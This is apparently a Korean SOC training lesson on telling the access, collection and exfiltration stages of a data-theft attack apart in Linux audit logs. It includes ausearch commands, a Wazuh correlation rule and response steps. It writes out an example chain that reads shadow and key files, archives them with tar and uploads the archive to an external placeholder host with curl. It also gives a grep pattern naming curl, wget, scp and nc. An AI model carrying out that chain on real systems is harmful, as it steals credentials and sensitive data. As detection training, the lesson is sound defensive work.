207. 중요 정보 접근 — 접근 vs 유출 — 공격 단계의 구분

목록 보기

207/450

시스템 보안 · 취약점 › E. 중요 정보 접근 로그 분석 · 7/50편 (전체 207/450)
학습 단계: 접근 로그 기본 개념
실습 표기: 이 글의 명령어·출력·로그는 로컬 VMware 테스트 VM(Rocky Linux 9 / Ubuntu 22.04) 기준의 「실습 예시」이며, IP·계정·호스트명은 가상의 값입니다.

선행 학습

1. 개념

E영역은 세 단계로 나뉩니다: 접근(access) → 수집(collect) → 유출(exfiltration). 이 단계를 구분해야 "어디까지 진행됐는가"와 "각 단계를 어떻게 탐지하는가"가 명확해집니다.

데이터 공격 3단계
 ① 접근(access):     중요 정보를 읽음 (open/read)
 ② 수집(collect):    여러 데이터를 모음·압축 (tar/zip, staging)
 ③ 유출(exfil):      외부로 전송 (curl/scp/DNS)

 접근만 = 정찰·확인 단계 / 유출 = 피해 확정
 각 단계 사이가 탐지·차단의 기회

접근은 되돌릴 수 있지만(아직 유출 전), 유출은 피해가 확정됩니다. 그래서 접근→수집→유출 사이의 조기 탐지가 중요합니다.

2. 왜 중요한가

단계를 구분하면 "접근만 했나, 유출까지 갔나"로 피해 범위를 판정할 수 있습니다.
각 단계 사이가 차단의 기회입니다(접근 탐지 → 유출 전 차단).
수집(staging)은 접근과 유출을 잇는 중간 신호로, 조기 탐지의 핵심 지점입니다.

3. 핵심 명령어 / 설정

단계	행위	탐지 신호	편
접근	파일 읽기	open 감사	E09~24
수집	압축·모으기	tar/zip·대량 읽기	E21·25·30·37
유출	외부 전송	아웃바운드·터널	E32~36
연계	3단 연결	세션 상관	E40·42

4. 실습 (실습 예시)

# 접근·수집·유출 단계 구분 (분석 방법)
# 세션 단위로 3단계 신호 확인
SES=99
echo "접근:"; sudo ausearch -k sensitive_read,data_access --session $SES -i 2>/dev/null | grep -c open
echo "수집:"; sudo ausearch -k exfil --session $SES -i 2>/dev/null | grep -cE 'tar|zip|gzip'
echo "유출:"; sudo ausearch -k exfil --session $SES -i 2>/dev/null | grep -cE 'curl|wget|scp|nc'

5. 정상 상태

접근: 2(백업)  수집: 1(정기 백업 tar)  유출: 0

정기 백업이 데이터를 읽고 압축(수집)하되 외부 전송(유출)은 없는, 접근·수집만의 정상 동작입니다.

6. 이상 상태

접근: 8(shadow·DB·키)  수집: 1(tar 대량)  유출: 1(curl 외부)
→ 세션 99: 접근 → 수집 → 유출 3단계 완성

접근(중요 정보 다수 읽기) → 수집(tar 압축) → 유출(curl 외부 전송)
3단계가 한 세션에 → 데이터 유출 공격 완성(피해 확정)
유출 단계 도달 → 최고 위험 정탐

7. 로그 분석 (분석 방법)

데이터 공격 3단계 흐름입니다(가상의 예시).

[①접근]  cat/cp로 shadow·DB·키 읽기 (sensitive_read)
    ↓
[②수집]  tar czf /tmp/data.tgz <읽은 파일들> (staging)
    ↓
[③유출]  curl -T /tmp/data.tgz http://외부 (exfil)
    ↓
[탐지·차단 기회]
  접근 탐지 → 수집 전 차단 (최선)
  수집 탐지 → 유출 전 차단
  유출 탐지 → 피해 확정(사후)

단계	차단 효과
접근 차단	피해 없음(최선)
수집 차단	유출 방지
유출 탐지	사후(피해 확정)

빠른 단계에서 차단할수록 피해를 막을 수 있습니다.

8. SOC 관제 포인트

데이터 공격은 접근 → 수집 → 유출 3단계로 구분됩니다.
접근은 가역적, 유출은 피해 확정 — 단계 사이가 차단의 기회입니다.
수집(staging)은 접근과 유출을 잇는 중간 신호로 조기 탐지의 핵심입니다.

9. 탐지 규칙

<!-- 실습 예시 룰: 적용 전 wazuh-logtest 및 테스트 환경 검증 필요 -->
<group name="local,syssec_e,sensitive_access,">
  <!-- 접근 → 수집(아카이브)이 같은 세션에서 연결 -->
  <rule id="104060" level="12">
    <if_sid>104050</if_sid>
    <if_matched_sid>104050</if_matched_sid>
    <same_field>audit.session</same_field>
    <field name="audit.comm" type="pcre2">^(tar|zip|gzip|7z)$</field>
    <description>중요 정보 접근 직후 수집(아카이브) — 유출 준비</description>
    <mitre><id>T1005</id><id>T1560</id></mitre>
  </rule>
</group>

접근→수집→유출 각 단계 룰을 세션으로 상관해 공격 진행도를 판정합니다(E42). 유출 전 차단이 목표입니다.

10. 대응 방법

초기 확인 — 세션 단위로 접근·수집·유출 각 단계의 신호를 확인합니다.
범위 확인 — 어느 단계까지 진행됐는지(접근만/수집/유출)로 피해 범위를 판정합니다.
증거 확보 — 3단계 이벤트를 세션 기준으로 보존합니다.
차단/조치 — 가능한 빠른 단계에서 차단(세션 종료·전송 차단)을 진행합니다.
재발 방지 — 접근→수집→유출 단계 구분·연계 탐지를 운영합니다.

11. 핵심 정리

단계	탐지·차단
접근	open 감사 / 유출 전 차단(최선)
수집	아카이브·대량 읽기 / 유출 전 차단
유출	아웃바운드·터널 / 사후(피해 확정)
연계	세션 상관(E42)
면접 포인트	"데이터 공격은 접근→수집→유출 — 유출 전 조기 차단이 피해 방지의 핵심"